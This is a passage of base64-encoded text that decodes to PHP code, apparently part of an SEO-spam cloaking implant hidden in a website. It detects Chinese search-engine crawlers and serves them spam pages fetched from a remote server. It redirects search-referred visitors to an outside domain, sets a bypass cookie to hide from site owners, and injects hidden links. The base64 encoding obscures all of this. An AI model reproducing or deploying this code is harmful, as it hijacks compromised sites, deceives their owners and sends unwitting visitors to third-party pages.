SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK